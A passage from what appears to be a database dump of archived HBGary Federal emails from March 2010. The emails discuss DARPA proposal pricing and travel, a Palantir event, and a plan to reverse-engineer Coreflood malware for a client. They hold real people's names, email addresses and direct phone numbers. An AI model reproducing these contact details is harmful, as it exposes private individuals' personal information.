18.\r\n\r\n&nbsp;\r\n\r\nAlso, please send Ebbe and Kenny the information about and\r\ncredentials for the Google docs version of the proposal.\r\n\r\n&nbsp;\r\n\r\nEbbe is copied on this email. His direct number is\r\n631-759-3905.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nAnita\r\n\r\n&nbsp;\r\n\r\nAnita D\'Amico, Ph.D.\r\n\r\nApplied Visions, Inc. (AVI) \r\n\r\nDirector, Secure Decisions\r\nDivision\r\n\r\n6 Bayview Avenue, Northport,\r\nNY 11768-1502\r\n\r\nhttp://SecureDecisions.avi.com\r\n\r\n(631) 754-4920 \r\n\r\nNew Direct Line as of\r\nMarch 17 - &nbsp;(631) 759-3909\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13047,'aaron_hbgary_com/13047.html'),(4307,'2010-03-21','\"Kathryn Tracy\" <kathryn.tracy@sri.com>','/aaron@hbgary.com/new/1297002306.M426584P3547Q4307.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: RFP','\r\n\r\n\r\n  \r\n\r\n\r\nHi Aaron,\r\n\r\nThank you for your clarification.  I will price in all of the trips\r\nlisted below.\r\n\r\nBest regards and many thanks,\r\nkat\r\n\r\nOn 3/21/2010 1:44 PM, Aaron Barr wrote:\r\nsure sorry.  I was confused by the term SOW vs. RFP and\r\nthought we provide the information.  Let me see if I can clarify.\r\n  \r\n  \r\n  That is correct, currently SRI is only involved in Task 1.\r\n  \r\n  \r\n  The trips are located at the end of the RFP.  So based on the\r\nfollowing table assume 2 engineers (your lead and 1 other) for the\r\ndates listed to the following meetings.\r\n  \r\n  \r\n  Aaron\r\n  \r\n  \r\n  \r\n  \r\n    \r\n      \r\n        \r\n        Purpose\r\n        \r\n        \r\n        Location\r\n        \r\n        \r\n        Dates\r\n        \r\n        \r\n        Personnel\r\n        \r\n      \r\n      \r\n        \r\n        Team Kickoff Meeting\r\n        \r\n        \r\n        Washington DC\r\n        \r\n        \r\n        14-15 Jul 2010\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        DARPA Kickoff Workshop\r\n        \r\n        \r\n        Washington, DC\r\n        \r\n        \r\n        29-30 Jul 2010\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Period 1A Technical Interchange and\r\nQuarterly Team Meeting\r\n        \r\n        \r\n        Sacramento, CA\r\n        \r\n        \r\n        18-20 Oct 2010\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        San Antonio, TX\r\n        \r\n        \r\n        10-12 Jan 2011\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Northport, NY\r\n        \r\n        \r\n        28-30 Mar 2011\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Annapolis Junction, MD\r\n        \r\n        \r\n        27-28 Apr 2011\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Period 1B Technical Interchange and\r\nQuarterly Team Meeting\r\n        \r\n        \r\n        San Antonio, TX\r\n        \r\n        \r\n        19-22 Sep 2011\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Northport, NY\r\n        \r\n        \r\n        19-22 Dec 2011\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Annapolis Junction, MD\r\n        \r\n        \r\n        12-15 Mar 2012\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Sacramento, CA\r\n        \r\n        \r\n        7-8 May 2012\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Period 2A Technical Interchange and\r\nQuarterly Team Meeting\r\n        \r\n        \r\n        Northport, NY\r\n        \r\n        \r\n        24-27 Sep 2012\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Annapolis Junction, MD\r\n        \r\n        \r\n        18-21 Dec 2012\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Sacramento, CA\r\n        \r\n        \r\n        11-13 Mar 2013\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        San Antonio, TX\r\n        \r\n        \r\n        2-3 May 2013\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Period 2B Technical Interchange and\r\nQuarterly Team Meeting\r\n        \r\n        \r\n        Annapolis Junction, MD\r\n        \r\n        \r\n        23-26 Sep 2013\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Sacramento, CA\r\n        \r\n        \r\n        17-20 Dec 2013\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        San Antonio, TX\r\n        \r\n        \r\n        10-12 Mar 2014\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Northport, NY\r\n        \r\n        \r\n        30 Apr – 1 May 2014\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        DARPA Annual Review Meeting\r\n        \r\n        \r\n        Washington, DC\r\n        \r\n        \r\n        17-30 Mar  2011\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Washington, DC\r\n        \r\n        \r\n        7-8 May 2012\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Washington, DC\r\n        \r\n        \r\n        6-7 May 2013\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Washington, DC\r\n        \r\n        \r\n        5-6 May 2014\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        DARPA IV&amp;V\r\n        \r\n        \r\n        Washington, DC\r\n        \r\n        \r\n        24-27 May 2011\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n      \r\n        \r\n        Washington, DC\r\n        \r\n        \r\n        27-30 May 2014\r\n        \r\n        \r\n        2 engineers\r\n        \r\n      \r\n    \r\n  \r\n  \r\n  On Mar 21, 2010, at 4:25 PM, Kathryn Tracy wrote:\r\n  \r\n  \r\n    Hi Aaron,\r\n    \r\nThank you for your response yesterday.\r\nYou sent me the same RFP that I already have and did not answer my\r\nquestions below.  I\'m sorry if I appear to be nagging\r\nyou, but I simply can not finish the pricing until I have answers.  We\r\nare running out of time and I\'m worried about my ability \r\nto be able to get you a complete proposal package plus the government\r\npackage in time.  Could someone please answer\r\nmy questions or could you please forward my email to someone who can?\r\nThank you.\r\n    \r\nBest regards,\r\nkat\r\n    \r\nOn 3/20/2010 7:08 PM, Aaron Barr wrote:\r\n    Hi\r\nKaren,\r\n      \r\n      \r\n      I had sent the RFP to Phil, sorry.  Attached is the RFP I\r\nhad\r\nsent to him.  Please let me know if this clears up your questions.\r\n      \r\n      \r\n      Aaron\r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      On Mar 20, 2010, at 5:27 PM, Kathryn Tracy wrote:\r\n      \r\n      \r\n        Dear Aaron,\r\n        \r\nI am working with Phil and SRIs Contracts Admin. Colleen Ferguson, to\r\npull together SRIs cost proposal so we can submit it asap.\r\nI have the version of the SOW that was attached to your email below,\r\nhowever I still have some questions.\r\n        \r\nThe SOW that was attached to this email did not list SRI in the the\r\ncorrect tasks in the WBS.\r\nCan I assume SRI is only involved in Task 1?  Also, Phil gave me the\r\ntravel details below however\r\nthey do not match the travel in the SOW.  Could you please let me know\r\nwhich is correct and if\r\nPhil\'s list below is the correct version, could you please let me know\r\nwhat month the trips\r\nwill occur so that I can correctly spread our costs by month.\r\n        \r\n        Travel: WHAT MONTHS?\r\n       2010: \r\n        3 Trips x 2 people to WDC \r\n       2011: \r\n        7 Trips x 2 people to WDC \r\n       2012: \r\n        5 Trips x 2 people to WDC \r\n       2013: \r\n        3 Trips x 2 people to WDC \r\n        \r\nThanks very much,\r\n        Best,\r\nkat\r\n        \r\nOn 3/19/2010 7:26 PM, Phil Porras wrote:\r\n        \r\n          X-AuditID:\r\n80125573-b7b3eae000005555-bb-4ba1bea80922 \r\nX-Spam-Status: No, score=0.0 threshold=8.0 \r\nX-Spam-Level: \r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n            \r\nSubject: RFP \r\nDate: Thu, 18 Mar 2010 01:48:18 -0400 \r\nTo: Phil Porras &lt;porras@csl.sri.com&gt;, vinod@csl.sri.com \r\nX-Mailer: Apple Mail (2.1077) \r\nX-Brightmail-Tracker: AAAAAhNWaw4TVm8z \r\n            \r\nGuys, \r\n            \r\nAttached is the second draft with updated travel and WBS sections.  The\r\nnumbers don\'t exactly match yet, but they will tomorrow and we will get\r\nout a final to you but I wanted to get this out to you first for\r\npricing purposes. \r\n            \r\nThanks \r\nAaron Barr \r\nCEO \r\nHBGary Federal Inc. \r\n            \r\n            \r\n          \r\n        \r\n        \r\n      \r\n      \r\n      \r\n      \r\n      Aaron Barr\r\n      CEO\r\n      HBGary Federal Inc.\r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n  \r\n  \r\n  \r\n  \r\n  Aaron Barr\r\n  CEO\r\n  HBGary Federal Inc.\r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n\r\n\r\n\r\n',2108,'aaron_hbgary_com/2108.html'),(4308,'2010-03-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002306.M682861P3547Q4308.eml','\"Ted Vera\" <ted@hbgary.com>','Take a look','When you get a second take a look at the detailed technical approach.  Just want your thoughts.  I have taken out any references to schedule in this document because it seems we will have that in other places.  I was going to put a small table in each one that contained phase1: blah, etc.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4621,'aaron_hbgary_com/4621.html'),(4309,'2010-03-21','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297002310.M562608P3547Q4309.eml','\"Aaron Barr\" <aaron@hbgary.com>','Palantir night live','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDid you get this invite yet?\r\n\r\n&nbsp;\r\n\r\nPlease forward to any HBGary folks you&#8217;d like!\r\n\r\n&nbsp;\r\n\r\n-Matt\r\n\r\n&nbsp;\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10967,'aaron_hbgary_com/10967.html'),(4310,'2010-03-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002314.M914644P3547Q4310.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Phil\" <phil@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Palantir night live','Fyi.  I&#39;ll probably go.AaronFrom my iPhoneBegin forwarded message:From: Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Palantir night liveDid you get this invite yet?\r\nPlease forward to any HBGary folks you&#39;d like!-MattMatthew SteckmanPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&lt;mailto:msteckman@palantirtech.com&gt; | 202-257-2270\r\n\r\n',14408,'aaron_hbgary_com/14408.html'),(4311,'2010-03-22','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002315.M224832P3547Q4311.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Past work section of proposal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nHere is my stab at the past work section.&nbsp; Still need some\r\ncontent from GD and SRI for the table.&nbsp; I am concerned that a big part of the\r\nproposal is Bayesian Reasoning and we really don&#8217;t cite any past work in\r\nthis area.&nbsp; HBGary can cite Bayesian work within a past contract, but it was\r\ndone by SAIC not us.&nbsp; And in the work you have the Bayesian Reasoning being\r\ndone by HBG Fed and Pikewerks.\r\n\r\n&nbsp;\r\n\r\nLook over the order of the past work in the chart.&nbsp; You\r\nmight want to put it in a different order.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12971,'aaron_hbgary_com/12971.html'),(4312,'2010-03-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002315.M580912P3547Q4312.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Past work section of proposal','I\'ll five u a call in the morning.  We don\'t have as strong but we do\r\nhave some and HBGary fed will hire people that we know that have done\r\nthis.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Mar 21, 2010, at 8:00 PM, Bob Slapnik  wrote:\r\n\r\n> Aaron and Ted,\r\n>\r\n>\r\n>\r\n> Here is my stab at the past work section.  Still need some content\r\n> from GD and SRI for the table.  I am concerned that a big part of\r\n> the proposal is Bayesian Reasoning and we really don’t cite any past\r\n>  work in this area.  HBGary can cite Bayesian work within a past con\r\n> tract, but it was done by SAIC not us.  And in the work you have the\r\n>  Bayesian Reasoning being done by HBG Fed and Pikewerks.\r\n>\r\n>\r\n>\r\n> Look over the order of the past work in the chart.  You might want\r\n> to put it in a different order.\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n>\r\n> \r\n',8728,'aaron_hbgary_com/8728.html'),(4313,'2010-03-22','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297002319.M150974P3547Q4313.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Re: Palantir night live','This reminds me that I need some more info on Palantir.  Bob and I are working on a proposal for PSS.  They have a coreflood infection and are concerned that the C2 servers are live and that data is truly leaving the network.  Their suspicion is that it&#39;s an old malware sample and they are talking to dead servers.  I want to propose that we reverse engineer the coreflood samples and pull all comms from them.  I&#39;d like to then give intel on any recovered C2 servers.  Is Palantir going to help me in this scenario?\r\nOn Sun, Mar 21, 2010 at 7:31 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFyi.  I&#39;ll probably go.AaronFrom my iPhoneBegin forwarded message:From: Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\n\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Palantir night live\r\nDid you get this invite yet?\r\nPlease forward to any HBGary folks you&#39;d like!-MattMatthew SteckmanPalantir Technologies | Forward Deployed Engineer\r\n\r\nmsteckman@palantirtech.com&lt;mailto:msteckman@palantirtech.com&gt; | 202-257-2270\r\n\r\n\r\n\r\n',16094,'aaron_hbgary_com/16094.html'),(4314,'2010-03-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002319.M476425P3547Q4314.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Past work section of proposal','I like what you put together. &nbsp;I believe we will be getting the contacts, cost schedule, risk information from GD as the Subs are the same and I believe they submitted the same data.AAronOn Mar 21, 2010, at 8:00 PM, Bob Slapnik wrote:Aaron and Ted,&nbsp;Here is my stab at the past work section.&nbsp; Still need some content from GD and SRI for the table.&nbsp; I am concerned that a big part of the proposal is Bayesian Reasoning and we really don’t cite any past work in this area.&nbsp; HBGary can cite Bayesian work within a past contract, but it was done by SAIC not us.&nbsp; And in the work you have the Bayesian Reasoning being done by HBG Fed and Pikewerks.&nbsp;Look over the order of the past work in the chart.&nbsp; You might want to put it in a different order.&nbsp;Bob&nbsp;&lt;Proposal Past Work.docx&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11832,'aaron_hbgary_com/11832.html'),(4315,'2010-03-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002319.M660168P3547Q4315.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,,','Re: Palantir night live','I would say it depends on how deep you want to go and as a guess how big of an infrastructure you think you want to map. &nbsp;I think it would help to organize your investigation and in the end provide a nice picture for you to show your customers.Even if its fairly small I find the palantir interface an easy way for me to organize my investigations (for me its been typically around open source investigations concerning a particular attack. &nbsp;Then I can start digging by assigning attributes to the objects on my palette. &nbsp;But probably somewhat depends on style and again how deep are you going to want to go into the investigation.AaronOn Mar 21, 2010, at 8:51 PM, Phil Wallisch wrote:This reminds me that I need some more info on Palantir.&nbsp; Bob and I are working on a proposal for PSS.&nbsp; They have a coreflood infection and are concerned that the C2 servers are live and that data is truly leaving the network.&nbsp; Their suspicion is that it\'s an old malware sample and they are talking to dead servers.&nbsp; I want to propose that we reverse engineer the coreflood samples and pull all comms from them.&nbsp; I\'d like to then give intel on any recovered C2 servers.&nbsp; Is Palantir going to help me in this scenario?\r\nOn Sun, Mar 21, 2010 at 7:31 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFyi. &nbsp;I\'ll probably go.AaronFrom my iPhoneBegin forwarded message:From: Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\n\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Palantir night live\r\nDid you get this invite yet?\r\nPlease forward to any HBGary folks you\'d like!-MattMatthew SteckmanPalantir Technologies | Forward Deployed Engineer\r\n\r\nmsteckman@palantirtech.com&lt;mailto:msteckman@palantirtech.com&gt; | 202-257-2270\r\n\r\n&lt;PNL.20100323.jpg&gt;\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14674,'aaron_hbgary_com/14674.html'),(4316,'2010-03-22','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297002319.M853471P3547Q4316.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Datasets','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nLets chat tomorrow on this.&nbsp; My brain is swimming right now\r\ntrying to catch up on all these emails.\r\n\r\n&nbsp;\r\n\r\nSay late morning?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Sunday, March 21, 2010 10:47 AM\r\nTo: Matthew Steckman\r\nSubject: Re: Datasets\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAs to 1st IO I will be meeting with Ted Wagner. &nbsp;He is\r\nthe Technical Lead on 1st IO. &nbsp;Also a reserve Colonel for an army cyber\r\nand IO group (can\'t remember the name).\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 21, 2010, at 10:14 AM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJust got back from the honeymoon, all is well, and I am tan&#8230;&#8230;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nYes we are at NTOC, I forwarded your question to Trae to see\r\nwhat he&#8217;s heard about it up there.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n1st&nbsp;I/O\r\nallegedly put a budget request in for us, albeit a very small one.&nbsp; Talk\r\nup interoperability!!!&nbsp; Make them think that they are no longer buying\r\nseparate tools but a connected suite&#8230;you know the schpeel.&nbsp; Who are you\r\nmeeting with, Jamie Guzman is our contact.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAgreed on GovCon, just let me know how youd like to proceed.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, March 11,\r\n2010 10:00 PM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Re: Datasets\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatt. &nbsp;I can\'t remember but did u say you were in NTOC\r\nor not in NTOC? &nbsp;I think you said not.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNot sure if you heard but NTOC is re-competing the contract\r\na few years early. &nbsp;Lots of speculation as to why, most of it coming back\r\nas BAH is underperforming. &nbsp;CSC and ManTech have reached out to us for\r\npotential teaming for the proposal, both of whom I have talked to about the\r\nThreat Intelligence concept, so stay tuned.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAlso I am going to go see 1st IO jointly with Fidelis to\r\ntalk about our joint capabilities for malware/network analysis and protection.\r\n&nbsp;I plan to discuss Threat Intelligence with them as well.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBoth Brian and I have been off the Threat Intelligence rails\r\nthe last few weeks working the DARPA proposal, which has been extended until\r\nMar 29th. &nbsp;I am going to have a conversation with him tomorrow on our path\r\nforward for GovCon. &nbsp;Neither of us want to put anything out there (and I\r\nam sure you don\'t either) unless it is ready for prime time. &nbsp;Will let you\r\nknow.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 11, 2010, at 12:47 PM, Aaron Zollman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJust to close the loop, we\r\nmet with Fidelis at the RSA conference and may try to explore what a\r\npartnership would look like. We don&#8217;t have quite the pressing need for data\r\nanymore, so we have some time. Thanks again for the introduction.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantirtech.com&nbsp;| 202-684-8066\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, February\r\n23, 2010 4:43 AM\r\nTo:&nbsp;Aaron Zollman\r\nCc:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Re: Datasets\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry for the delay. &nbsp;We don\'t keep network data around\r\nturns out, but Rich (CTO) is checking with some other partners to see if we can\r\nget some (Fidelis and Netwitness). &nbsp;I will let you know shortly.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThat said, we kicked off the Threat Intelligence Center work\r\nlast Friday. &nbsp;As part of this effort we are going to start collecting\r\nproxy/network/netflow data.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 19, 2010, at 12:41 PM, Aaron Zollman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHello Aaron B!\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI met Greg and (I think) Rich and Shaun in Sacramento on Tuesday\r\nto help introduce them to the platform; it was great to learn more about how\r\nyou track and respond to coordinated attacks.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRight now, I&#8217;m trying to model a fast-flux coordinated botnet in\r\nPalantir and show how someone with access to a good amount of passive DNS or\r\nproxy traffic can build a visual picture of the nodes involved in coordination,\r\nand how control and activity transfer over time.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRather than try and mock up a dataset from scratch, do you guys\r\nhave some historical logs to share, say from a few days of Storm, that might\r\nmake for a more believable or accurate model?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks &#8211;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; Aaron Z.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantirtech.com&nbsp;| 202-684-8066\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Matthew Steckman&nbsp;\r\nSent:&nbsp;Friday, February 19,\r\n2010 6:31 AM\r\nTo:&nbsp;Aaron Barr\r\nCc:&nbsp;Aaron Zollman\r\nSubject:&nbsp;Datasets\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nId\r\nlike to introduce you to one of our cyber technical SMEs, Aaron Zollman.&nbsp; Do\r\nyou think you could work with him to get us some mock datasets to play around\r\nwith in 